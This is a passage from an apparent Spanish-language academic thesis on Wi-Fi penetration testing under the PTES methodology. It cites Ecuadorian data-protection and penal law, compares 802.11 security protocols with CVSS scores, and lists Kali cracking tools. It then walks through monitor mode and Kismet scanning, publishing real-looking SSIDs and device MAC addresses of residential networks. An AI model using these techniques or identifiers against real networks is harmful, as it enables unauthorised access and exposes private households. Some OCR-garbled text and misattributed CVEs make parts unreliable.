técnico, organizativo y de cualquier otra indole, implementadas con el objeto de

garantizar y mejorar la seguridad del tratamiento de datos personales.

Art. 40.-Analisis de riesgo, amenazas y vulnerabilidades. -Para el andlisis de
riesgos, amenazas y vulnerabilidades, el responsable y el encargado del tratamiento

de los datos personales deberan utilizar una metodologia que considere, entre otras:
1) Las particularidades del tratamiento;

2) Las particularidades de las partes involucradas; vy,

3) Las categorias y el volumen de datos personales objeto de tratamiento.

Art. 41.-Determinacion de medidas de seguridad aplicables. -Para determinar las
medidas de seguridad, aceptadas por el estado de la técnica, a las que estan
obligadas el responsable y el encargado del tratamiento de los datos personales, se

deberan tomar en consideracion, entre otros:

1) Los resultados del analisis de riesgos, amenazas y vulnerabilidades;
2) La naturaleza de los datos personales;

3) Las caracteristicas de las partes involucradas;

4) Los antecedentes de destruccion de datos personales, la pérdida, alteracion,
divulgacién o impedimento de acceso a los mismos por parte del titular, sean
accidentales e intencionales, por accion u omision, asi como los antecedentes de
transferencia, comunicacion o de acceso no autorizado o exceso de autorizacion de

tales datos.

El responsable y el encargado del tratamiento de datos personales deberan tomar
las medidas adecuadas y necesarias, de forma permanente y continua, para evaluar,
prevenir, impedir, reducir, mitigar y controlar los riesgos, amenazas Yy
vulnerabilidades, incluidas las que conlleven un alto riesgo para los derechos y
libertades del titular, de conformidad con la normativa que emita la Autoridad de

Proteccion de Datos Personales.

Art. 46.-Notificacion de vulneracion de seguridad al titular. -El responsable del

tratamiento deberd notificar sin dilacion la vulneracion de seguridad de datos
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personales al titular cuando conlleve un riesgo a sus derechos fundamentales y
libertades individuales, dentro del término de tres dias contados a partir de la fecha

en la que tuvo conocimiento del riesgo.

1. Cuando el responsable del tratamiento haya adoptado medidas de proteccion

técnicas

organizativas o de cualquier otra indole apropiadas aplicadas a los datos personales
afectados por la vulneracion de seguridad que se pueda demostrar que son efectivas;

2. Cuando el responsable del tratamiento haya tomado medidas que garanticen que
el riesgo para los derechos fundamentales y las libertades individuales del titular,

no ocurrird; y,

3. Cuando se requiera un esfuerzo desproporcionado para hacerlo; en cuyo caso, el
responsable del tratamiento deberd realizar una comunicacion publica a traves de
cualquier medio en la que se informe de la vulneracion de seguridad de datos

personales a los titulares.

La procedencia de las excepciones de les numerales 1y 2 debera ser calificada por
la Autoridad de Proteccidn de Datos, una vez informada esta tan pronto sea posible,
y en cualquier caso dentro de los plazos contemplados en el Articulo 43.

2.4.2 CODIGO ORGANICO INTEGRAL PENAL “COIP”

El COIP busca unificar y modernizar la legislacion penal ecuatoriana, incorporando
nuevos tipos delictivos, reformando el sistema penitenciario, regulando la

responsabilidad de las personas juridicas y optimizando los procesos penales[60].

Art. 178.- Violacion a la intimidad. - La persona que, sin contar con el
consentimiento o la autorizacion legal, acceda, intercepte, examine, retenga, grabe,
reproduzca, difunda o publigue datos personales, mensajes de datos, voz, audio y
video, objetos postales, informacion contenida en soportes informaticos,
comunicaciones privadas o reservadas de otra persona por cualquier medio, serd

sancionada con pena privativa de libertad de uno a tres afos.

Art. 179.- Revelacion de secreto. - La persona que, teniendo conocimiento por razén

de su estado u oficio, empleo, profesion o arte, de un secreto cuya divulgacion
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pueda causar dafio a otra personay lo revele, sera sancionada con pena privativa de

libertad de seis meses a un afio.

Art. 190.- Apropiacion fraudulenta por medios electrdnicos. - La persona que utilice
fraudulentamente un sistema informatico o redes electronicas y de
telecomunicaciones para facilitar la apropiacion de un bien ajeno o que procure la
transferencia no consentida de bienes, valores o derechos en perjuicio de esta o de
una tercera, en beneficio suyo o de otra persona alterando, manipulando o
modificando el funcionamiento de redes electronicas, programas, sistemas
informaticos, teleméaticos y equipos terminales de telecomunicaciones, sera

sancionada con pena privativa de libertad de uno a tres afios.

La misma sancién se impondra si la infraccion se comete con inutilizacion de
sistemas de alarma o guarda, descubrimiento o descifrado de claves secretas o
encriptadas, utilizacion de tarjetas magnéticas o perforadas, utilizacion de controles
0 instrumentos de apertura a distancia, o violacion de seguridades electrénicas,

informaticas u otras semejantes.

Art. 229.- Revelacién ilegal de base de datos. - La persona que, en provecho propio
0 de un tercero, revele informacién registrada, contenida en ficheros, archivos,
bases de datos o medios semejantes, a través o dirigidas a un sistema electronico,
informético, teleméatico o de telecomunicaciones; materializando voluntaria e
intencionalmente la violacién del secreto, la intimidad y la privacidad de las

personas, serd sancionada con pena privativa de libertad de uno a tres afios.

Si esta conducta se comete por una o un servidor publico, empleadas o empleados
bancarios internos o de instituciones de la economia popular y solidaria que realicen
intermediacién financiera o contratistas, sera sancionada con pena privativa de

libertad de tres a cinco afios.

Art. 230.- Interceptacion ilegal de datos. - Sera sancionada con pena privativa de

libertad de tres a cinco afos:

1. La persona que, sin orden judicial previa, en provecho propio o de un tercero,
intercepte, escuche, desvie, grabe u observe, en cualquier forma un dato informatico

en su origen, destino o en el interior de un sistema informatico, una sefial o una
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transmision de datos o sefiales con la finalidad de obtener informacion registrada o
disponible.

2. La persona que disefie, desarrolle, venda, ejecute, programe 0 envie mensajes,
certificados de seguridad o péginas electrdnicas, enlaces o ventanas emergentes o
modifique el sistema de resolucién de nombres de dominio de un servicio financiero
0 pago electronico u otro sitio personal o de confianza, de tal manera que induzca
a una persona a ingresar a una direccion o sitio de internet diferente a la que quiere

acceder.

Art. 232.- Ataque a la integridad de sistemas informaticos. - La persona que
destruya, dafie, borre, deteriore, altere, suspenda, trabe, cause mal funcionamiento,
comportamiento no deseado o suprima datos informaticos, mensajes de correo
electronico, de sistemas de tratamiento de informacion, telematico o de
telecomunicaciones a todo o partes de sus componentes l6gicos que lo rigen, sera

sancionada con pena privativa de libertad de tres a cinco afios.

1. Disefie, desarrolle, programe, adquiera, envie, introduzca, ejecute, venda o
distribuya de cualquier manera, dispositivos o programas informaticos maliciosos
0 programas destinados a causar los efectos sefialados en el primer inciso de este

articulo.

2. Destruya o altere sin la autorizacion de su titular, la infraestructura tecnologica
necesaria para la transmision, recepcion o procesamiento de informacion en

general.

Si la infraccion se comete sobre bienes informaticos destinados a la prestacion de
un servicio publico o vinculado con la seguridad ciudadana, la pena sera de cinco a

siete afios de privacion de libertad.

Art. 234.- Acceso no consentido a un sistema informatico, teleméatico o de
telecomunicaciones. — La persona que sin autorizacion acceda en todo o en parte a
un sistema informatico o sistema telematico o de telecomunicaciones o0 se mantenga
dentro del mismo en contra de la voluntad de quien tenga el legitimo derecho, para
explotar ilegitimamente el acceso logrado, modificar un portal web, desviar o

redireccionar de trafico de datos o voz u ofrecer servicios que estos sistemas
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proveen a terceros, sin pagarlos a los proveedores de servicios legitimos, sera

sancionada con la pena privativa de la libertad de tres a cinco afios.

No son aplicables estas normas para la persona que divulgue grabaciones de audio
y video en las que interviene personalmente, ni cuando se trata de informacion

publica de acuerdo con lo previsto en la ley.

Art. 500.- Contenido digital. - El contenido digital es todo acto informéatico que
representa hechos, informacion o conceptos de la realidad, almacenados,
procesados o transmitidos por cualquier medio tecnoldgico que se preste a
tratamiento informatico, incluidos los programas disefiados para un equipo
tecnoldgico aislado, interconectado o relacionados entre si. En la investigacion se

seguirén las siguientes reglas:

1. El andlisis, valoracion, recuperacion y presentacién del contenido digital
almacenado en dispositivos o sistemas informaticos se realizara a través de técnicas

digitales forenses.

2. Cuando el contenido digital se encuentre almacenado en sistemas y memorias
volatiles o equipos tecnoldgicos que formen parte de la infraestructura critica del
sector publico o privado, se realizara su recoleccion, en el lugar y en tiempo real,
con técnicas digitales forenses para preservar su integridad, se aplicara la cadena de

custodia y se facilitara su posterior valoracion y analisis de contenido.

3. Cuando el contenido digital se encuentre almacenado en medios no volatiles, se
realizara su recoleccion, con técnicas digitales forenses para preservar su
integridad, se aplicara la cadena de custodia y se facilitara su posterior valoracién

y analisis de contenido.

Por lo general se debe conocer las leyes necesarias para poder realizar cualquier
tipo de accion que podria se dafiina, siempre se debe tener en cuenta estos aspectos
legales tanto para el tratamiento de los datos, siempre se debe realizar estas acciones
mediante solicitudes para que el usuario o cualquier persona sepa de las acciones
que se podrian estar realizando, siempre se debe considerar el permiso legal sobre

cualquier accion.
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CAPITULO 3. PROPUESTA

3.1 OBJETIVO 1: COMPARAR LAS VULNERABILIDADES DE LOS
PROTOCOLOS DE COMUNICACION INALAMBRICA 802.11 PARA
DETERMINAR EL NIVEL DE RIESGO SIGUIENDO EL ENFOQUE
PTES.

3.1.1 FASE 1Y FASE 2

3.1.2 FASE 1.- INTERACCION PREVIA

Interaccion Previa de la metodologia PTES (Penetration Testing Execution
Standard) tiene como objetivo establecer un entendimiento mutuo entre el equipo
de pruebas de penetracion y el cliente. Durante esta fase, se llevan a cabo
actividades clave como los objetivos y el alcance de las pruebas, la recopilacion de

informacion relevante.

3.1.3 VERSIONES DE WIFI BASADO EN EL ESTANDAR IEEE
802.11

Estas normas o estandares especifican las caracteristicas de la capa fisica y de
acceso al medio (MAC) de las redes WLAN[61].

802.11: es un estandar original de las redes LAN inaldmbricas, fue originado en
1997, trabaja en las frecuencias de 2.4 GHz y 5 GHz, tiene una tasa de velocidad

muy baja de hasta 2mbps.

802.11a: fue establecido en el afio de 1999, opera en la banda 5 GHz y tiene una
velocidad de hasta 54 Mbps, es mejor en términos de velocidad y capacidad.

802.11b: también fue creado en 1999, opera en una banda de frecuencia de 2.4

GHz con velocidades de maximas de hasta 11 Mbps.

802.11g: trabaja en un rango de frecuencia de 2.4 GHz con velocidades de 54 Mbps,
ademas de ser compatible con el 802.11b por lo que trabaja en la misma frecuencia

a diferencia que posee una mayor velocidad y rendimiento.

802.11n: tiene mejores velocidades y alcance, opera en las bandas de frecuencia de
2.4 GHz y 5 GHz alcanzando velocidad de hasta 600 Mbps, utiliza una tecnologia
denominada MIMO (Multiple Input Multiple Output).
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802.11ac: trabaja en una frecuencia de 5GHz, utiliza la tecnologia MIMO, tiene
velocidades mejoradas y sobre todo admite dispositivos que operan en frecuencias
de 2.4 GHz.

802.11ad: fue lanzado en el afio 2012, opera en la banda de frecuencia a 60 GHz y
alcanza velocidades de 6,7 Gbps su desventaja es que su alcance es muy limitado a

3.3 metros.

802.11ah: Se lo conoce como Wifi Halow trabaja en frecuencias muy debajo de
1GHz, su principal funcién fue crear redes de rango extendido y que a su vez

consuma menos energia.

802.11ax: Es conocido como WLAN de eficiencia alta, busca mejorar el

rendimiento del despliegue y ofrecer velocidades de hasta 10 Gbps.

La metodologia PTES (Penetration Testing Execution Standard) proporciona una
estructura para evaluar el nivel de riesgo de las vulnerabilidades en los protocolos
de comunicacion inalambrica, integrando la importancia de la organizacion
internacional FIRST (Forum of Incident Response and Security Teams) en la
respuesta y seguridad de incidentes. Asi mismo CVSS (Common Vulnerability
Scoring System) como una herramienta esencial para evaluar la gravedad de las
vulnerabilidades[62].

Las vulnerabilidades van a estar dirigidas a métricas CVE (Common Vulnerabilities
and expposures) y CWE ( Common Weakness Enumeration), son consideradas
listas de problemas de vulnerabilidades conocidas publicamente, se utilizara un
sistema de valoracion definido en CVSS (Common Vulnerability Scoring System)
la misma que proporciona métricas que facilitan la medicion, con esto se puede
tener un dato para considerar el nivel de riesgo al comparar las vulnerabilidades,

esto se basa en[63]:
WEP, WPA, WPA2: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/1:H/A:H
Meétrica:

AV (Access Vector) = Representa la complejidad del acceso = N: significa que un

atacante no necesita acceso fisico al sistema.
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AC (Access Complexity): complejidad del ataque en explotar la vulnerabilidad =
H: significa que el ataque es de alto nivel.

PR (Privileges Required) = Privilegios necesarios = N: no es necesario tener
privilegios especiales para llevar a cabo el ataque.

Ul (User Interaction): La vulnerabilidad requiere interaccion del usuario = N: No

se requiere interaccion del usuario.

S (Scope): Alcance de la vulnerabilidad= U: Vulnerabilidad afecta a un solo

usuario.

C (Confidentiality Impact): Impacto en la confidencialidad = H: indica un
impacto alto en la confidencialidad.

I (Integrity Impact): Impacto en la integridad = H: Impacto alto en la integridad.

A (Availability Impact): Disponibilidad = H: Impacto alto en la disponibilidad.

Base Score 8. 'I
(High)

Attack Vector (AV) Scope(S)

(Adacent ) [1ocal )] [Prysical 7 [hanged ()]

Attack Complexity (AC) Confidentiality (C)

v onet (i)

Privileges Required (PR) Integrity (1)

font) ore ) vt

User Interaction (U1) Availability (a)

| Required (R) | [None (V)| [Low(D)]

Vector String -

CV55:3.0/AV:NIAC:H/PR:N/UL:N/S: U/C:H/I:HIA:H

Figura 2. CVSS Protocolos de seguridad[64].
WPAZ3: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L

Meétrica:

AV (Access Vector) = Representa la complejidad del acceso = N: significa que un
atacante no necesita acceso fisico al sistema.

AC (Access Complexity): complejidad del ataque en explotar la vulnerabilidad =

H: significa que el ataque es de alto nivel.
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PR (Privileges Required) = Privilegios necesarios = N: no es necesario tener
privilegios especiales para llevar a cabo el ataque.

Ul (User Interaction): La vulnerabilidad requiere interaccion del usuario = N: No

se requiere interaccion del usuario.

S (Scope): Alcance de la vulnerabilidad= U: Vulnerabilidad afecta a un solo

usuario.

C (Confidentiality Impact): Impacto en la confidencialidad = L: indica un impacto

bajo en la confidencialidad.
I (Integrity Impact): Impacto en la integridad = L: Impacto bajo en la integridad.

A (Availability Impact): Disponibilidad= L: Impacto bajo en la disponibilidad.

i
Attack Vector (AV) Scope (S) 7
Ad]acen;(A)\ Local (L) \PhysicaI(P)‘ Wed(t)\
Attack Complexity (AC) Confidentiality (C)
M\ (None () () (Fien )
Privileges Required (PR) Integrity (1)
User Interaction (U1) Availability (A)

Vector String -

CVSS:3.0/AV:NIAC:HIPR:N/ULN/S:UIC:LI:LIA:L

Figura 3. CVSS Protocolo de seguridad WPA3[64].

Mediante la herramienta CVSS podemos medir y calcular el nivel de impacto, nivel
de riesgo y ademas la probabilidad de que algo ocurra en estos protocolos de
seguridad, ademéas de comparar las vulnerabilidades conocidas mediante un
indicador estandar CVE lo cual es una lista de codigos y nombres estandarizados
esto con el fin de nombrar las vulnerabilidades y sobre todo las exposiciones en la

seguridad.
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Tabla 1. Comparativa de vulnerabilidades

Vulnerabilidad Probabilida

Protocolos de seguridad Algoritmo RElele es Ame_na(ljza Impac_tol dde N|\_/el ek
S clave asociada Potencial ST Riesgo
WEP (Wired Equivalent CVE- RC4 802.11i  Clavedecifrado  Ataques Acceso no Alto Critico
Privacy) 2017- 1997 estatica y débil. de autorizadoala
13077 Falta de diccionari red
autenticacion de 0 para
usuarios. obtener la
clave
WPA(Wi—FiProtectedAccess) CVE- TKIP 802.11i Debilidades en Ataques AcCeso no Medio Moderad
2020- 2004 el algoritmo de autorizadoala 0
24586 TKIP inyeccion red
de
paquetes
WPA2(Wi—FiProtectedAcces CVE- CCMP 802.11i Vulnerabilidad ~ Obtencién Pérdida de Alto Alto
s2) 2017- (AES) 2004 KRACK (Key de la confidencialida
13077 Reinstallation clavede  de integridad
, Attack) cifrado de la
CVE- comunicacion,
2018- acceso no
14526 autorizado a la
red
802.11i(WPAZ3) CVE- SAE 802.11w- Nuevas Resistenci Impacto Bajo Bajo
2019- (Simultaneou 2018 vulnerabilidades aa acotado en la
9494 S aun por ataques de = confidencialida
Authenticatio descubrir [Muy  diccionari dy
n of Equals) Baja 0 disponibilidad

Nota: Informacion de la investigacion realizada[20].
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3.1.4 CONTROLES EN CIBERSEGURIDAD DISPONIBLES PARA
DISMINUIR  INCIDENTES EN LOS PROTOCOLOS DE
COMUNICACION INALAMBRICA 802.11

1. Disminucion de riesgos en WEP (Wired Equivalent Privacy):
Son protocolos mas seguros como WPA2 o WPA3 en lugar de WEP.
2. Disminucion de riesgos en WPA (Wi-Fi Protected Access):

Actualizacion a WPA2 o WPAS3 para aprovechar la seguridad que ofrecen sus
protocolos, es favorable considerar el uso de herramientas de anélisis de tréfico
inalambrico para identificar actividad sospechosa.

3. Disminucion de riesgos en WPA2 (Wi-Fi Protected Access I1):
Actualizar a WPAS3 para bajar indices de vulnerabilidades como KRACK.
4. Disminucidn de riesgos en 802.11i (WPA2-Enterprise):

Fortalecimiento de procesos de autenticacion, utilizando métodos como EAP-
TLS.

5. Disminucién de riesgos en 802.11r:

Implementaciones de controles de red, para restringir el acceso no autorizado.

6. Disminucion de riesgos en 802.11w:

Implementacion de la proteccion de tramas en la gestion segln los estandares.
3.1.5 FASE 2.- RECOLECCION DE INFORMACION

En esta fase abarca la recoleccion de informacion y datos relevantes que nos servird
de mucho para realizar este trabajo investigativo practico. En esta etapa de fase se
trata de involucrarse en aspectos de estandares, protocolos y posibles amenazas que
se podrian dar en las conectividades inalambricas wifi, asi enlistar las herramientas

gue contamos para desarrollar la posterior fase de vulnerabilidad.

Comparacion entre una red WLAN y LAN para una mayor seguridad.

Tabla 2. Comparacion entre una red WLAN y LAN
Fuente: Propia
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Parametros de

Comparacion

Wireless local area

Significa Local area Network.
Network.
Tipo de conexion | Inalambricas Inaldmbricas y Alambricas
Costo y Es costoso de instalar y )
) Menos costoso y mas seguro
seguridad Menos Seguro.
Cobertura Grandes regiones. Grades areas

Rendimiento alto; o
o o Rendimiento aceptable y no
Rendimiento rendimiento es afectado )
) se ve afectado por el clima
por el mal tiempo.
No se puede interferir

Interferencias Facil interferencia. .
facilmente

) . . Dispositivos moviles o
Dispositivos moviles o .
) o aparatos tecnoldgicos en
Ejemplos aparatos tecnoldgicos en
general que cuenten con
general.
puertos de entrada a redes.

Nota: Informacion realizada por Autor[36].

Una de las principales ventajas de Kali Linux es su capacidad para realizar ataques
a redes inalambricas, lo que lo convierte en una herramienta esencial para las
pruebas de penetracion de Wi-Fi. Incluye herramientas como Aircrack-ng, que

puede usarse para descifrar contrasefas de redes inalambricas”
3.1.6 LISTA DE COMANDOS UTILIZADOS

La tabla de comandos utilizados en el sistema operativo Kali Linux para la
realizacion de esta préactica investigativa en la fase de 3 de la metodologia PTS
cuenta con su respectiva descripcion, para el posterior analisis de post explotacién.

Tabla 3.Comandos Utilizados
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COMANDOS UTILIZADOS

Comando Descripcion

Sudo su Cambia de una manera temporal a la cuenta a super usuario
0 denominado root.

cupp Crea perfiles de contrasefias con informacion de la victima.

git clone Sirve para crear una copia local.

cupp.py Sirve para ejecutar la herramienta cupp.

python Es la forma de iniciar un cuestionario basico sobre

cupp.py -i informacion de la victima para crear un diccionario.

Muestra contenido de un archivo.
crunch Generar diccionarios de una manera personalizada.

airmon-ng Sirve para capturar paquetes en la red.

airodum-ng Sirve para visualizar informacion detallada de la red
inalambrica.

aireplay-ng Sirve para generar trafico en la red.

aircrack-ng Sirve para realizar auditorias en redes.
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COMANDOS UTILIZADOS
Sirve para controlar el estado de la red.

Nota: Informacion realizada segun la investigacion[38].

3.2 OBJETIVO 2: EVALUAR MEDIANTE EL ESTANDAR PTES LA
EFECTIVIDAD DE LAS HERRAMIENTAS DE HACKING ETICO EN
EL DESCIFRADO DE CONTRASENAS EN  REDES
INALAMBRICAS.

3.21 FASE3,4,5Y6

En estas fases se centraran en cumplir con el objetivo numero dos en donde se
indagara las mejores herramientas de hacking ético propias del sistema operativo
Kali Linux, mediante la herramienta CVSS (Common Vulnerability Scoring
System) y el proceso de las fases de la metodologia PTES seran de gran ayuda para
poder evaluar que tan efectivas son las herramientas para el uso de ataques de

diccionario y de fuerza bruta.
3.2.2 MODELADO DE AMENAZAS

En esta fase se analiza cbmo un atacante podria aprovechar las vulnerabilidades
identificadas para acceder a informacion sobre la de la red. Este andlisis considera
factores como el tipo de activo afectado y la criticidad de la informacién, y las
posibles consecuencias reputacionales o legales, ayuda a priorizar las
vulnerabilidades encontradas y a determinar las medidas de seguridad mas

apropiadas para mitigarlas y reducir el riesgo general.

3.2.3 HERRAMIENTAS DE PROTECCION TECNOLOGICA EN EL
SISTEMA OPERATIVO KALI LINUX

En la siguiente tabla se muestra una serie de herramientas de seguridad inalambrica
propia del sistema operativo Kali Linux, se realizd una comparativa de las
herramientas, (ver Tabla 4 y Tabla 9) en la cual se eligié las mejores para la
realizacion de este trabajo.
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Tabla 4. Herramientas de proteccion tecnologica

Kismet

Reaver

Bettercap

Fluxion

Fern Wifi
Cracker

WifiPhisher

Wifite

Cowpatty

Su funcién es detectar de redes inaldambricas asi se encuentren de

manera oculta, funciona con tarjetas o adaptadores que sea
compatible con 802.11.

Esta herramienta permite realizar ataques de fuerza bruta al WPS
(Wifi Protected Setup) con lo que permitiria obtener contrasefias
WPA/WPAZ2.

Esta herramienta versatil en el uso hacking y de monitoreo a

redes, permitiendo realizar ataques MitM (Man in the Middle).

Esta herramienta permite automatizar procesos respectivamente a
ataque de phishing contra a redes inalambricas para obtener

contrasefas.

Esta herramienta permite ver graficas sus principales ataques son
de diccionario y de fuerza bruta a redes inalambricas.

Su mismo nombre lo indica, sirve para realizar ataque de phishing

y obtener acceso a las redes wifi.

Con esta herramienta ayuda en el proceso de automatizacion,
pudiendo realizar multiples ataques contra redes WiFi, como
ataques de diccionario, de fuerza bruta y lograr deshabilitar WPS.

Esta herramienta permite realizar ataques de diccionario y fuerza
bruta contra claves WPA/WPA2-PSK.
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Airgeddon  Esta herramienta permite auditar la seguridad, puede realizar
diversos ataques con el fin de deshabilitar WPS y poder ejecutar

el ataque de diccionario.

Nota: Informacion realizada segun la investigacion[40].

La siguiente tabla muestra una perspectiva sobre los recursos que se tienen para la
siguiente fase de la metodologia, para eso presentamos un entorno tecnoldgico en
donde involucra el objetivo y las caracteristicas de los equipos necesarios para la

ejecucion de la siguiente fase.

Tabla 5. Recoleccion de Informacion (Entorno Tecnol6gico)
Fuente: propia

Nombre del responsable:  Fase:

Ricardo Gonzalez Balébn  Recopilacion de informacion

Objetivo: Detallar los recursos de hardware y software a utilizar para la

posterior fase de vulnerabilidades

Tiempo estimado: Nivel de complejidad
30 minutos a.(bajo)

b.(medio)

c.(alto)

Herramientas tecnol6gicas utilizadas:

Hardware:

Equipo Portatil DELL

Adaptador de red Wireless Adapter 950Mbps 802.11

Velocidad de datos dinamica:

802.11b: 1,2,5,5,11 Mbps;
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802.119: 6,9,12,18,24,32,48,54 Mbps.

802.11n: (20 MHz ) MCSO-7, hasta 72 Mbps; (40 MHz)
MCSO-7, hasta 150 Mbps

Soporte de seguridad para 64/128 WEP, WPA, WPA2,
WPAI

Opera en la banda de frecuencia de 2,4 GHz

ZTE ZXHN F660

Windows 10 pro

Maquina Virtual Virtual Box 6.1 Version
SO de prueba Kali Linux

Versiones Kali Linux (Kali Linux 2023.2)

Resultados:

Con las herramientas de software y hardware podemos tener los recursos
necesarios para una posterior fase de analisis de vulnerabilidades en redes

inalambricas wifi.

Aqui presentamos un informe detallado sobre la red nimero uno en donde podemos
identificar ciertas caracteristicas de la red como su seguridad, autentificacion,

intensidad de sefial etc. (ver Tabla 6)

Tabla 6. Informe de resultados red 1

Fuente: propia
Informe de resultados

Red 1 Responsable: Ricardo Gonzalez

53



SSID: BSSID: B8:F0:B9:C2:95:B0
XTRIM_GONZALEZ

Canal: 1 Rate: 130Mbit/s Senal: 100 Beacons: 40
dbm
Seguridad: Algoritmode  Autentificacion:
WPA2 cifrado: PSK
CCMP

Ataque aplicado: Ataque de diccionario o fuerza bruta.

Dispositivos en red:

1. 30:B1:B5:92:98:0C
2. 4E:33:5C:E1:87:3E
3. B8:C3:85:10:00:3E
4, DC:90:88:7B:C1:02
5. 72:59:D3:EA:52:CD
6. 90:48:9A:F9:A8:E3
7. EB8:68:E7:8B:63:D8
8. E5:DC:96:9A:CB:7B
9. 12:47:F4:FF:84:9C
10. B6:14:54:3D:2C:A5

En esta gréfica se observa la topologia de red de tipo estrella, este domicilio cuenta
con una sola planta, pero con diferentes compartimientos, también observamos que

cuenta con diversos dispositivos inalambricos conectados a un solo router.

Figura 4. Topologia de red tipo estrella
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Fuente: propia

Aqui presentamos un informe detallado sobre la red nimero dos en donde podemos
identificar ciertas caracteristicas de la red como su seguridad, autentificacion,
intensidad de sefial ademas de la cantidad de usuarios que se conectan a esta red.
etc. (Ver Tabla 7)

Tabla 7. Informe de resultados red 2
Fuente: Propia

Informe de resultados

Redes 2 Responsable: Ricardo Gonzélez

SSID: SUMPATV_VERASUAREZ

BSSID: E0:67:B3:57:82:4A

Canal: 6  Rate: 130Mbit/s

Sefial: 62 dbm

Beacons: 45

Seguridad: WPA2

Algoritmo: CCMP

Autentificacion: PSK

Ataque aplicado: Ataque de diccionario o fuerza bruta
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Informe de resultados

Dispositivos en red:

02:E0:20:0B:AE:A3
EA:3A:19:48:FF:3B
30:Al1:F4:7C:F8:AA
DC:90:88:7B:C1:02
88:9F:6F:32:6C:7E
54:FC:F0:E5:83:9A

ogakrwdE

Figura 5. Topologia de red tipo estrella
Esta grafica observamos a una topologia de red de tipo estrella, este domicilio
cuenta con multiples compartimientos en donde observamos diferentes

dispositivos inalambricos y aldmbricos conectados a la red.
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Fuente: Propia
3.2.4 FASE 4.- ANALISIS DE VULNERABILIDAD

En esta fase analizaremos mediante herramientas de hacking ético a las redes
inalambricas, este tipo de analisis serd de tipo auditoria, el resultado de esto es
conocer informacion como por ejemplo el nombre de la red, si la red es visible o de
configuracién oculta, el canal de frecuencia en que trabaja, ademas la intensidad de
sefial que emite la red entre otras caracteristicas. (Ver Tabla 6 y Tabla 7)

3.2.5 PROCESO DE ESCANEOS DE REDES (KISMET)

Para este analisis de vulnerabilidad vamos a utilizar la herramienta de Kali Linux
Ilamada Kismet. Pero antes debemos realizar unos pasos que de detallan a

continuacidén. En nuestra terminal de Kali Linux debemos activar el super usuario
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para tener los permisos con el siguiente comando sudo su, después nos pedira
ingresar la contrasefia del usuario, ademés debemos activar el adaptador wifi, pero
antes debemos comprobar que este adaptador lo detecte a maquina virtual. A
continuacion, verificaremos que este activo el adaptador iwconfig, es necesario
colocar el adaptador de red wifi en modo monitor, con el siguiente comando

lograremos eso airmon-ng start wlan0.

PHY Interface Driver Chipset

phy@ wlane mt7601u Ralink Technology, Corp. MT7601U
(monitor mode enabled)

)-[/home/ricardo]

h\
i iwconfig
1o no wireless extensions.

ethe no wireless extensions.

wlan@ IEEE 802.11 Mode:Monitor Frequency:2.457 GHz Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:off

Figura 6. Activacion modo monitor
Fuente: propia
Luego de habilitar estas configuraciones, procedemos a levantar el kismet en

consola mediante el siguiente comando sudo kismet, luego aparecera una url en

donde aparecera un local host en donde debemaos abrir en el navegador.

) root@ricardo: /home/ricardo [X]
Archivo Acciones Editar Vista Ayuda

Power Management:off

E( )-[/home/ricardo]

sudo kismet

INFO: Including sub-config file: /etc/kismet/kismet_httpd.conf

INFO: Including sub-config file: /etc/kismet/kismet_memory.conf

INFO: Including sub-config file: /etc/kismet/kismet_alerts.conf

INFO: Including sub-config file: /etc/kismet/kismet_806211.conf

INFO: Including sub-config file: /etc/kismet/kismet_logging.conf

INFO: Including sub-config file: /etc/kismet/kismet_filter.conf

INFO: Including sub-config file: /etc/kismet/kismet_uav.conf

INFO: Loading config override file '/etc/kismet/kismet_package.conf'

INFO: Optional sub-config file not present: /etc/kismet/kismet_package.conf

INFO: Loading config override file '/etc/kismet/kismet_site.conf"

INFO: Optional sub-config file not present: /etc/kismet/kismet_site.conf

INFO: Local config and cache directory '/root/.kismet/' does not exist;

creating it.

KISMET - Point your browser to http://localhost:2501 (or the address of this

: Serving static file content from /usr/share/kismet/httpd/

: Enabling channel hopping by default on sources which support channel
control.

: Setting default channel hop rate to 5/sec

: Enabling channel list splitting on sources which share the same list
of channels

: Enabling channel list shuffling to optimize overlaps

: Sources will be re-opened if they encounter an error

Figura 7. Http para Interfaz Kismet
Fuente: propia

A continuacion, en el navegador aparecera la interfaz web de kismet, antes de
iniciar Kismet por primera vez nos en la maquina virtual Kali Linux, nos pedira

crear una cuenta en donde tendremos que colocar el usuario y una contrasefa.
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4 OE1 LUGIN A

To finish setting up Kismet, you need to configure a login.

This login will be stored in . kismet/kismet_httpd.conf in the home directory of the user who launched Kismet; This
server is running as root, and the login will be saved in ~root/.kismet/kismet_httpd.conf.

Set Login

User name: ricardo !

P 5 |

Confirm: eeseccccccces ‘

Figura 8. Creacion de Usuario
Fuente: propia
Debemos indicarle a la aplicacion web kismet de donde queremos tomar la

informacion en otras palabras, donde se encuentran las antenas, anteriormente
habiamos activado nuestro adaptador lo cual nos servira para poder obtener

informacion de las redes.

1% DATA SOURCES
Interface Wan0
Capture Driver finuxwii
Hardware mi7601u

Type (Capture from Linux Wi-Fi devices using (old) wireless extensions or (new) macB0211 controls

Enable Source

Figura 9. Activacion de la tarjeta de red en Kismet
Fuente: propia
En esta gréafica observamos que nuestro adaptador de red esta detectando los

dispositivos es decir las sefiales que emiten las redes de los usuarios cercaos o
lejos del punto de escaneo, en primera instancia observamos el nombre, tipo y

paquetes que circulan en la red.

= Kismet Mi.iball,.. Unnown ;[ Crg

Devices

Name v T Phy Crypio S Chan Data Packess Clients QBSS Chan Usage:
""" 0B |

Figura 10. Detectando redes
Fuente: Propia
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3.2.6 ESCANEO A REDES INALAMBRICAS.
Escaneo niimero uno a la red “oculto”.

En esta grafica observamos si existen redes ocultas, es decir que los usuarios de esa
red han configurado para que esto sea posible, para saber un poco méas debemos dar
clicen el SSID en la que queramos ver informacion de la red, aunque la red sea de

configuracién oculto.

= Kismet
Devices Alerts SSIDs ADSB Live
SSID v  Length Last Seen Encryption
Cloaked or Empty SSID 7 Nov 19 2023 16:16:59 'WPA2 WPA2-PSK TKIP AES-CCM
ERIANA ORRALA REYES 19 Nov 19 2023 16:02:40 None / Open
CLARO_FAMILIAESCALANTE 22 Nov 19 2023 16:05:46 None / Open

Figura 11. Identificacion de red Oculta
Fuente: Propia
Dando clic, nos aparecera la informacion de la red como el tipo de encriptacion, la

direccion MAC, el nombre del usuario, ademas podemos ver detalles del
dispositivo. Esta red es de tipo oculta, pero podemos observar informacion a quien

